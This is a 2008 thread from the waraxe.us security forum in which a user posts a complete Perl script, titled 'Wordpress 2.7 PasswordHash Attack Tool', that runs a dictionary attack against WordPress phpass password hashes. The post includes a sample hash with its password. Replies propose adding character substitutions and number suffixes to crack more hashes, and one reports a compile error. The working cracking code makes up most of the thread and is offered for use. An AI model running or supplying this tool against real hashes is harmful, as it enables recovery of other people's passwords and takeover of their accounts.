Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 22, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 261
Members: 0
Total: 261
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Tools -> Wordpress 2.7 PasswordHash Attack Tool
Post new topic  Reply to topic View previous topic :: View next topic 
Wordpress 2.7 PasswordHash Attack Tool
PostPosted: Thu Dec 18, 2008 5:00 pm Reply with quote
julioisaias
Valuable expert
Valuable expert
 
Joined: Jan 25, 2008
Posts: 51
Location: Ciudad del Este, Paraguay




According to the topic, I made this tool to make attacks on passwordhash Wordpress 2.7-based dictionaries.
Warning: this is not based on the BlowFish encryption.
feedback is welcome.

Code:
#################################################################
#Wordpress 2.7 PasswordHash Attack Tool
#This is based in "Portable PHP password hashing framework"
#for Wordpress 2.7
#Autor: julioisaias
#Thanks to Waraxe and m1cr0n
#Contact: julioisaias[at]gmail.com
#ALTO PARANA - PARAGUAY
#################################################################

#! /usr/bin/perl -w
use strict;
use Digest::MD5 qw(md5 md5_hex);
use List::Util qw(min);

my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345
my $dictionary = 'mydic.txt'; # Put a dictionary
my $php_version = '5'; # Don't modify if you don't know it

open (f1, "<$dictionary") || die "Error in open file!.\n";
    $hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)};
    die "Bad hash!\n" if length($1) != 34;
    my ($itoa64) = join('', my @itoa64 = ('.','/','0'..'9','A'..'Z','a'..'z'));
    my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/;
    my ($header)=$salt=~m/^(.{0,3})/;
    while (<f1>) {
   chomp($_);
   print "Current Password: $_\r";
   my $found = &finder($_,$salt,$hash);
   print "\nPassword FOUND: $_" and last if $found;
   print "\nPassword NOT FOUND!\n" if eof;
    }
close f1;

sub b64{
    my $input = $_[0];
    my @input = split(//,$input);
    my $count = $_[1];
    my $output = '';
    my $i;
    do {
   my $value = ord($input[$i++]);
   $output .= $itoa64[$value & 0x3f];
   if ($i < $count){
       $value |= ord($input[$i]) << 8;
   }
   $output .= $itoa64[($value >> 6) & 0x3f];
   if ($i++ >= $count){
       return $output;
   }
   if ($i < $count){
       $value |= ord($input[$i]) << 16;
   }
   $output .= $itoa64[($value >> 12) & 0x3f];
   return $output if $i++ >= $count;
   $output .= $itoa64[($value >> 18) & 0x3f];
    } while ($i < $count);
    return $output;
}

sub EncryptP{
    my $password = $_[0];
    my $setting = $_[1];
    my @setting = split(//,$setting);
    my $hash;
    my $output = '*0';
    $output = '*1' if substr($setting, 0, 2) eq $output;
    return $output if substr($setting, 0, 3) ne $header;
    my $count_log2 = index($itoa64, $setting[3]);
    if ($count_log2 < 7 || $count_log2 > 30){
   return $output;}
    my $count = 1 << $count_log2;
    my $salt = substr($setting, 4, 8);
    return $output if length($salt) != 8;
    if ($php_version >= '5') {
   $hash = md5($salt . $password);
   do {
       $hash = md5($hash . $password);
   } while (--$count);
      
    } else {
   $hash = pack('H*', md5_hex($salt . $password));
   do {
       $hash = pack('H*', md5_hex($hash . $password));
       } while (--$count);
    }
    $output = substr($setting, 0, 12);
    $output .= &b64($hash, 16);
    return $output;
}

sub HashP{
    my $password = $_[0];
    my $salt = $_[1];
    my $hash;
    $hash = &EncryptP($password,$salt);
    return $hash if length($hash) == 34;
}

sub CheckP{
    my $password = $_[0];
    my $stored_hash = $_[1];
    my $hash = &EncryptP($password,$stored_hash);
    return $hash;
}

sub finder{
    my $password = $_[0];
    my $salt = $_[1];
    my $hash = $_[2];
    my $output = &CheckP($password,&HashP($password,$salt));
    return $output eq $salt.$hash;
}


Last edited by julioisaias on Wed Jun 27, 2012 1:53 pm; edited 1 time in total

_________________
I study enough to make the rest a result.
View user's profile Send private message
PostPosted: Thu Dec 18, 2008 9:47 pm Reply with quote
tehhunter
Valuable expert
Valuable expert
 
Joined: Nov 19, 2008
Posts: 261




Very nice, but have you considered adding in permutations (like o -> 0, a -> 4) and/or adding numbers onto it (e.g. mayhem becomes mayhem12).

I say that because I'd say at least half of the hashes I decrypt use those.
View user's profile Send private message
PostPosted: Thu Dec 18, 2008 10:45 pm Reply with quote
julioisaias
Valuable expert
Valuable expert
 
Joined: Jan 25, 2008
Posts: 51
Location: Ciudad del Este, Paraguay




I did not consider, because it is an algorithm simple dictionary attack. But if you want, I can do it.

_________________
I study enough to make the rest a result.
View user's profile Send private message
PostPosted: Tue Jun 09, 2009 8:17 pm Reply with quote
0x3
Regular user
Regular user
 
Joined: Jun 09, 2009
Posts: 10
Location: j0rd4n




Nice tool, could u please explane why this error happen ?

Code:
~/desktop$ perl 0x3.pl
global symbol "$p" requires explicit package name at 0x3.pl line 17.
Execution of 0x3.pl aborted due to compilation errors.


Thanks !
View user's profile Send private message
Wordpress 2.7 PasswordHash Attack Tool
  www.waraxe.us Forum Index -> Tools
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.057 Seconds